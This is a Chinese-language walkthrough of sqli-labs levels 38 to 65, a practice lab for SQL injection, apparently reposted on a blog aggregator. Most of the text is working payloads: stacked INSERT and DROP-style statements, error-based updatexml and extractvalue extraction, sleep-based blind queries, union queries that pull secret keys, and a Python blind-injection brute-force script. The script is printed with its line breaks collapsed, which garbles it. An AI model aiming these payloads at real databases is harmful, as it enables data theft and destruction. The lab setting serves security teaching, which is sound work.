sqli-lab——Writeup(38~over)堆叠等......

知识点:

1.堆叠注入原理(stacked injection)

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。
1.1与union查询区别

而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
1.2使用实例

例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
1.3使用条件

堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行。

大多数时候,因为API或数据库引擎的不支持,堆叠注入都无法实现。

less38:

堆叠注入:也就是可以执行多条sql语句

http://127.0.0.1/sqli-labs-master/Less-38/?id=1';insert into users(id,username,password) values ('38','less38','hello')--+

在这里插入图片描述

less39 堆叠注入

语句都一样,重点是找到闭合的方式
?id=1;insert into users(id,username,password) values (16,‘a’,‘a’)–+

less40盲注,字符型

?id=1'); insert into users(id,username,password) values ('17','a','a')--+

less41 盲注,数字型

1; insert into users(id,username,password) values(18,'b','b') --+

less42

经过验证,在password处语句报错,所以我们需要从passowrd入手

0';create table aaa like users #

less43

和 42 类似 同样password 未过滤

login_user=1&login_password=a’);create table less43 like users#&mysubmit=Login

less44 POST - Error based - String - Stacked -Blind

login_user=a&login_password=a';insert into users(id,username,password) values(19,'a','a') --+&mysubmit=Login

less45- Error based - String - Stacked - Blind

login_user=a&login_password=a’); insert into users(id,username,password) values(20,’‘c’,‘c’) --+&mysubmit=Login

Less-46 ORDER BY-Error-Numeric

终于迎来了一个过渡
这次的注入是通过order by 来进行的
通过sort 查询 发现当输入4的时候报错,而报错提示与order by 提示相同,猜想可能是将输入的值插入order by里进行的
通过updatexml 报错注入

sort=4 and updatexml(1,concat(0x7e,(select database()),0x7e),1) %23

Less-47 ORDER BY Clause-Error-Single quote

和46有少许区别,做到这里基本套路应该都懂了,从不需要单引号,双引号之类的报错,到盲注,难度都是一步一步深入
sort=4’ and (select count(*) from information_schema.columns group by concat(0x7e,(select database()),0x7e,floor(rand(0)*2))) --+
注意 and后面的语句要使用()括起来
基于 procedure analyse 注入

sort=1'procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+

Less-48 ORDER BY Clause Blind based

这一题 需要使用盲注解决
通过substr获取所要查询的信息的位数
然后使用ascii去解析成ascii编码
之后通过if判断是否相等 去获取值
之后构成 if(ascii(substr(datbase(),1,1)))

或者使用rand(ascii(left(database,1))=115) 同样获取相同的效果

Less-49 ORDER BY Clause Blind based

同样是盲注,和48类似
这一题使用延时盲注解决
获取长度

?id=1 and if(length(database())=8,sleep(5),0)--+

获取值

?id=1 and If(ascii(substr(database(),1,1))=114,0,sleep (5))--+

Less-50 ORDER BY Clause Blind based

检测 返回只有正确或者错误,属于盲注

通过报错注入 也能获取

id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

Less-51 ORDER BY Clause Blind based

sort=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

Less-52 ORDER BY Clause Blind based

测试发现均没有显错 只能盲注了

1 and if(length(database())=8,sleep(5),0) --+

Less - 53 ORDER BY Clause Blind based

通过测试发现回显只有正确和错误,所以这道题做法基本就是盲注了,

id=4' and if(length(database()) = 8 ,0,sleep(6)) --+
id=1' and (length(database())) = 8 and if(1=1, sleep(1), null) and '1'='1
id=1' and (ascii(substr((select database()) ,1,1))) = 114 and if(1=1, sleep(1), n

Less-54 GET-challenge-Union-10 queries allowed-Variation 1

挑战 ,允许查询10次,先不急去查看,观察一下需要输入的内容
所以,我们只有10次机会,
一般获取一个表正常需要获取数据库,到表,到列,再到数据,所以最少需要4步,而这里我们需要用6步猜测出来注入
回忆一下前面的注入, get类型的包含但不限于单引号,双引号,bool,堆叠,延时,报错,字符型和数字型,双注。

第一道题 采用最简单的’注入

?id=1%27%20order%20by%203%20%23 // True
?id=1%27%20order%20by%204%20%23 // false
?id=0%27%20union%20select%201,2,database()%20%23 // True challenges
?id=0%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20%23 // True 8T3YRE3TXR
?id=0%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%278T3YRE3TXR%27%20%23// true secret_4XCQ
?id=0%27%20union%20select%201,2,group_concat(s

Less-55 GET-challenge-Union-14 queries allowed-Variation 2

线索: 告诉了测试次数14次, union测试 数据库challenges
第一次挑战 失败
’ " ') ") 均没有回显 初次猜测报错注入或者双注
第二次尝试
) 闭合
获取表

=0) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges' %23 // True UBU4QNRHHP

获取列

id=0) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='UBU4QNRHHP' %23 //true
// secret_6H3B

获取key

0) union select 1,2,group_concat(secret_6H3B) from UBU4QNRHHP %23
mLjAsOZnSEbQqIMybw1AnUYH

Less-56 GET-challenge-Union-14 queries allowed-Variation 3

这次老老实实绕过

id=1' %23 // False
id=1" %23 // True 但是注入 union报错

添加为

id=1' union select 1,2,3 %23 // False
id=1" union select 1,2,3 %23 //False
id=1') union select 1,2,3 %23 

获取表

0%27)%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23 
KOUNR4QC6G

获取列

0') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='KOUNR4QC6G'%23
secret_3EVD

获取key

0') union select 1,2,group_concat(secret_3EVD) from KOUNR4QC6G %23
KcU87wBerjRPTHsvWBL6Zpx1

Less-57 GET-challenge-Union-14 queries allowed-Variation 4

做法 和之前一样
0" union select 1,2,3 %23
通过改变0之后的值达到闭合的目的

获取表

0" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'%23
VAFBXAV18O

获取列

0" union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='VAFBXAV18O'%23
secret_G8PM

获取key

0" union select 1,2,group_concat(secret_G8PM) from VAFBXAV18O %23
dRwHUUQ2TXSGUZ556g7FikFJ

Less-58 GET-challenge-Double Query-5 queries allowed-Variation 1

这道题 不看题目可能需要测好久
这次使用双注来报错查询

?id=1%27and%20%271%27=%271 // True绕过

获取表

1'and (select count(*) from information_schema.tables group by concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'~',floor(rand(0)*2))) %23
5H512U9U27

获取列

1'and (select count(*) from information_schema.tables group by concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name='5H512U9U27' limit 2,1),'~',floor(rand(0)*2))) %23
secret_DD13

获取key

1'and (select count(*) from information_schema.tables group by concat('~',(select secret_BJYY from 9JMRBSMHB3 limit 0,1),'~',floor(rand(0)*2))) %23
fJw5d5MfwbirBtiV6ajyMVYL

Less-59 GET-challenge-Double Query-5 queries allowed-Variation 2

先测试类型
有报错,可以注入
这次不需要过滤
获取表

1 and (select count(*) from information_schema.tables group by concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'~',floor(rand(0)*2))) %23
N6JFY84247

获取列

1 and (select count(*) from information_schema.tables group by concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name='N6JFY84247' limit 2,1),'~',floor(rand(0)*2))) %23
secret_FWQ3

获取key

1 and (select count(*) from information_schema.tables group by concat('~',(select secret_FWQ3 from N6JFY84247 limit 0,1),'~',floor(rand(0)*2))) %23
VlWMK389WVuIephCe46vDls5

Less-60 GET-challenge-Double Query-5 queries allowed-Variation 3

测试 单引号 双引号 ) ') “) 发现”) 闭合 绕过

获取表

?id=1%22)%20and%20(select%20count(*)%20from%20information_schema.tables%20group%20by%20concat(%27~%27,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),%27~%27,floor(rand(0)*2)))%20%23
5H36JXB2F0

获取 列

?id=1%22)%20and%20(select%20count(*)%20from%20information_schema.tables%20group%20by%20concat(%27~%27,(select%20column_name%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%275H36JXB2F0%27%20limit%202,1),%27~%27,floor(rand(0)*2)))%20%23
secret_NFL6

获取key

?id=1%22)%20and%20(select%20count(*)%20from%20information_schema.tables%20group%20by%20concat(%27~%27,(select%20secret_NFL6%20from%205H36JXB2F0%20limit%200,1),%27~%27,floor(rand(0)*2)))%20%23
49DYkkaArpuMaYb5ITI6NYlP

Less-61 GET-challenge-Double Query-5 queries allowed-Variation 4

通过1’ 判断闭合

获取表

1%
27))%20and%20(select%20count(*)%20from%20information_schema.tables%20group%20by%20concat(%27~%27,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),%27~%27,floor(rand(0)*2)))%20%23

EKP9EVPEDH
获取列

1')) and (select count(*) from information_schema.tables group by concat('~',(select column_name from information_schema.columns where table_schema=database()%20 and table_name='EKP9EVPEDH' limit 2,1),'~',floor(rand(0)*2))) %23
secret_DI64

获取key

1')) and (select count(*) from information_schema.tables group by concat('~',(select secret_DI64 from EKP9EVPEDH ),'~',floor(rand(0)*2))) %23
8r5XPen1KywllEINiQfAQnlq

Less-62 GET-challenge-Blind- 130 queries allowed -variation 1

高能警告,大佬脚本:

## 这里通过 ') %23 可构成闭合from urllib import request
from urllib import parse
import  reurl ='http://192.168.64.135/Less-62/?id='# length
num = 0
for i in range(1,20):num +=1param = '1 \') and (length(database())='+str(i)+') #'response = request.urlopen(url+parse.quote(param)).read().decode()if (re.search("Angelina",response)):print("length:" + str(i))breakdatabase = ""
for i in range(10):a = b =64while True:num +=1b = int(b/2)param = '1 \')  and (ascii(substr(database(),'+str(i+1)+',1))<'+str(a)+') #'response = request.urlopen(url+parse.quote(param)).read().decode()#print(url+parse.quote(param))if (re.search("Angelina", response)):a -=belse:param = '1 \')  and (ascii(substr(database(),' + str(i+1) + ',1))=' + str(a) + ') #'response = request.urlopen(url + parse.quote(param)).read().decode()#print(url + parse.quote(param))if (re.search("Angelina", response)):database +=chr(a)breakelse:a +=bprint(database)之后爆破表 这一题写个完整的,之后就简略的写出注入点,
爆破表,拿上面的修修改改
通过检查,先确定表的长度,再去爆破
爆破前记得重置,因为130次比较少
# 查表的数量
table_num = 0while True:param = "1 ') and (select count(*) from information_schema.tables where table_schema=database())="+str(table_num)+" #"response = request.urlopen(url + parse.quote(param)).read().decode()print(url+parse.quote(param))if (re.search("Angelina",response)):print("table_num:"+str(table_num))breakelse:table_num += 1
print(table_num)# # 确定表的长度
table_length = 0
while True:param = '1 \') and length(substr((select table_name from information_schema.tables where table_schema=database()),1))='+str(table_length)+' #'response = request.urlopen(url+parse.quote(param)).read().decode()print(url+parse.quote(param))if (re.search("Angelina", response)):print("table_num:" + str(table_length))breakelse:table_length += 1# 获取表名
table_name=""
for i in range(1,11):a=b=64while True:b= int(b/2)param = '1 \')  and (ascii(substr((select table_name from information_schema.tables where table_schema=database()),'+str(i)+',1))<'+str(a)+') #'response = request.urlopen(url+parse.quote(param)).read().decode()print(url+parse.quote(param))if (re.search("Angelina", response)):a -=belse:param = '1 \')  and (ascii(substr((select table_name from information_schema.tables where table_schema=database()),'+str(i)+',1))=' + str(a) + ') #'response = request.urlopen(url + parse.quote(param)).read().decode()print(url + parse.quote(param))if (re.search("Angelina", response)):table_name +=chr(a)breakelse:a +=bprint(table_name)J8CLO25SRR最后查列,这里发现写的脚本比较费时,所以稍微修改一下
column_name =""
for i in range(7,11):a=b=64while True:b= int(b/2)param = '1 \')  and (ascii(substr((select table_name from information_schema.tables where table_name="'+str(table_name)+'"),'+str(i)+',1))<'+str(a)+') #'response = request.urlopen(url+parse.quote(param)).read().decode()print(url+parse.quote(param))if (re.search("Angelina", response)):a -=belse:param = '1 \')  and (ascii(substr((select table_name from information_schema.tables where table_name="'+str(table_name)+'"),'+str(i)+',1))=' + str(a) + ') #'response = request.urlopen(url + parse.quote(param)).read().decode()print(url + parse.quote(param))if (re.search("Angelina", response)):column_name +=chr(a)breakelse:a +=b
#HKIR
print(column_name)
column_name = "secret_"+column_name# 查 key
for i in range(1,25):a=b=64while True:b= int(b/2)param = '1 \')  and (ascii(substr((select '+column_name+' from '+table_name+'),'+str(i)+',1))<'+str(a)+') #'response = request.urlopen(url+parse.quote(param)).read().decode()print(url+parse.quote(param))if (re.search("Angelina", response)):a -=belse:param = '1 \')  and (ascii(substr((select '+column_name+' from '+table_name+')),'+str(i)+',1))=' + str(a) + ') #'response = request.urlopen(url + parse.quote(param)).read().decode()print(url + parse.quote(param))if (re.search("Angelina", response)):key +=chr(a)breakelse:a +=b

Less-63 GET-challenge-Blind- 130 queries allowed -variation 2

和上一题类似
这里就判断注入类型,和如何闭合
1’ order by 4 %23
通过判断 发现3 返回正常 4 错误
所以之后的做法就和62 一样

Less-64 GET-challenge-Blind- 130 queries allowed -variation 3

测试了 ’ " ) )) ') ") ')) "))
1)) order by 3 %23 闭合

Less-65 GET-challenge-Blind- 130 queries allowed -variation 4

和上一题一样,通过测试闭合
发现 ") 绕过 闭合
这里还有一种做法,将需要绕过的写入txt文件,之后通过burp去爆破,通过判断返回值也可以达到相同的

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/532585.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

mysql常规使用(建立,增删改查,视图索引)

目录 1.数据库建立 2.增删改查 3.视图建立&#xff1a; 1.数据库建立 mysql> mysql> show databases; ----------------------------------- | Database | ----------------------------------- | information_schema | | ch…

php操作mysql数据库

phpmyadmin phpadmin是一个mysql图形化管理工具&#xff0c;是一款实用php开发的mysql苦户端软件&#xff0c;基于web跨平台的管理系统&#xff0c;支持简体中文&#xff0c;官网&#xff1a;www.phpmyadmin.net可以下载免费最新版。提供图形化操作界面&#xff0c;完成对mysq…

C:C++ 函数返回多个参数

C/C 函数返回多个参数 转自&#xff1a;https://blog.csdn.net/onlyou2030/article/details/48174461 笔者是 Python 入门的&#xff0c;一直很困惑 C/C 中函数如何返回多个参数。 如果一个函数需要返回多个参数&#xff0c;可以采用以下两种方法&#xff1a; 传引用或指针…

sql预编译

一.数据库预编译起源: 数据库接受sql语句,需要解析和制定执行,中间需要花费一段时间. 有时候同一语句可能会多次执行, 那么就会造成资源的浪费 如何减少编译执行的时间 ? 就有了预编译,预编译是将这类语句提前用占位符替代,一次编译,多次执行. 预编译后的执行代码会被缓存下来…

C++中智能指针的原理、使用、实现

C中智能指针的原理、使用、实现 转自&#xff1a;https://www.cnblogs.com/wxquare/p/4759020.html 1 智能指针的作用 C程序设计中使用堆内存是非常频繁的操作&#xff0c;堆内存的申请和释放都由程序员自己管理。程序员自己管理堆内存可以提高了程序的效率&#xff0c;但是…

Xctf练习sql注入--supersqli

三种方法 方法一 1 回显正常 1’回显不正常,报sql语法错误 1’ -- 回显正常,说明有sql注入点,应该是字符型注入(# 不能用) 1’ order by 3 -- 回显失败,说明有2个注入点 1’ union select 1,2 -- 回显显示过滤语句: 1’; show databases -- 爆数据库名 -1’; show tables …

深拷贝与浅拷贝、值语义与引用语义对象语义 ——以C++和Python为例

深拷贝与浅拷贝、值语义与引用语义/对象语义 ——以C和Python为例 值语义与引用语义&#xff08;对象语义&#xff09; 本小节参考自&#xff1a;https://www.cnblogs.com/Solstice/archive/2011/08/16/2141515.html 概念 在任何编程语言中&#xff0c;区分深浅拷贝的关键都…

一次打卡软件的实战渗透测试

直接打卡抓包, 发现有疑似企业网站,查ip直接显示以下页面 直接显示了后台安装界面…就很有意思 探针和phpinfo存在 尝试连接mysql失败 fofa扫描为阿里云服务器 找到公司官网使用nmap扫描,存在端口使用onethink 查询onethink OneThink是一个开源的内容管理框架&#xff0c;…

C++中类的拷贝控制

C中类的拷贝控制 转自&#xff1a;https://www.cnblogs.com/ronny/p/3734110.html 1&#xff0c;什么是类的拷贝控制 当我们定义一个类的时候&#xff0c;为了让我们定义的类类型像内置类型&#xff08;char,int,double等&#xff09;一样好用&#xff0c;我们通常需要考下面…

centos7ubuntu搭建Vulhub靶场(推荐Ubuntu)

这里写目录标题一.前言总结二.成功操作&#xff1a;三.出现报错&#xff1a;四.vulhub使用正文&#xff1a;一.前言总结二.成功操作&#xff1a;三.出现报错&#xff1a;四.vulhub使用看完点赞关注不迷路!!!! 后续继续更新优质安全内容!!!!!一.前言总结 二.成功操作&#xff1…

使用 PyTorch 数据读取,JAX 框架来训练一个简单的神经网络

使用 PyTorch 数据读取&#xff0c;JAX 框架来训练一个简单的神经网络 本文例程部分主要参考官方文档。 JAX简介 JAX 的前身是 Autograd &#xff0c;也就是说 JAX 是 Autograd 升级版本&#xff0c;JAX 可以对 Python 和 NumPy 程序进行自动微分。可以通过 Python的大量特征…

Yapi Mock 远程代码执行漏洞

跟风一波复现Yapi 漏洞描述&#xff1a; YApi接口管理平台远程代码执行0day漏洞&#xff0c;攻击者可通过平台注册用户添加接口&#xff0c;设置mock脚本从而执行任意代码。鉴于该漏洞目前处于0day漏洞利用状态&#xff0c;强烈建议客户尽快采取缓解措施以避免受此漏洞影响 …

C++ ACM模式输入输出

C ACM模式输入输出 以下我们都以求和作为题目要求&#xff0c;来看一下各种输入输出应该怎么写。 1 只有一个或几个输入 输入样例&#xff1a; 3 5 7输入输出模板&#xff1a; int main() {int a, b, c;// 接收有限个输入cin >> a >> b >> c;// 输出结果…

CVE-2017-10271 WebLogic XMLDecoder反序列化漏洞

漏洞产生原因&#xff1a; CVE-2017-10271漏洞产生的原因大致是Weblogic的WLS Security组件对外提供webservice服务&#xff0c;其中使用了XMLDecoder来解析用户传入的XML数据&#xff0c;在解析的过程中出现反序列化漏洞&#xff0c;导致可执行任意命令。攻击者发送精心构造的…

树莓派摄像头 C++ OpenCV YoloV3 实现实时目标检测

树莓派摄像头 C OpenCV YoloV3 实现实时目标检测 本文将实现树莓派摄像头 C OpenCV YoloV3 实现实时目标检测&#xff0c;我们会先实现树莓派对视频文件的逐帧检测来验证算法流程&#xff0c;成功后&#xff0c;再接入摄像头进行实时目标检测。 先声明一下笔者的主要软硬件配…

【实战】记录一次服务器挖矿病毒处理

信息收集及kill&#xff1a; 查看监控显示长期CPU利用率超高&#xff0c;怀疑中了病毒 top 命令查看进程资源占用&#xff1a; netstat -lntupa 命令查看有无ip进行发包 netstat -antp 然而并没有找到对应的进程名 查看java进程和solr进程 ps aux &#xff1a;查看所有进程…

ag 搜索工具参数详解

ag 搜索工具参数详解 Ag 是类似ack&#xff0c; grep的工具&#xff0c;它来在文件中搜索相应关键字。 官方列出了几点选择它的理由&#xff1a; 它比ack还要快 &#xff08;和grep不在一个数量级上&#xff09;它会忽略.gitignore和.hgignore中的匹配文件如果有你想忽略的文…

CVE-2013-4547 文件名逻辑漏洞

搭建环境&#xff0c;访问 8080 端口 漏洞说明&#xff1a; Nginx&#xff1a; Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件&#xff08;IMAP/POP3&#xff09;代理服务器&#xff0c;在BSD-like 协议下发行。其特点是占有内存少&#xff0c;并发能力强&#xf…

CMake指令入门 ——以构建OpenCV项目为例

CMake指令入门 ——以构建OpenCV项目为例 转自&#xff1a;https://blog.csdn.net/sandalphon4869/article/details/100589747 一、安装 sudo apt-get install cmake安装好后&#xff0c;输入 cmake -version如果出现了cmake的版本显示&#xff0c;那么说明安装成功 二、c…

CVE-2017-7529Nginx越界读取缓存漏洞POC

漏洞影响 低危&#xff0c;造成信息泄露&#xff0c;暴露真实ip等 实验内容 漏洞原理 通过查看patch确定问题是由于对http header中range域处理不当造成&#xff0c;焦点在ngx_http_range_parse 函数中的循环&#xff1a; HTTP头部range域的内容大约为Range: bytes4096-81…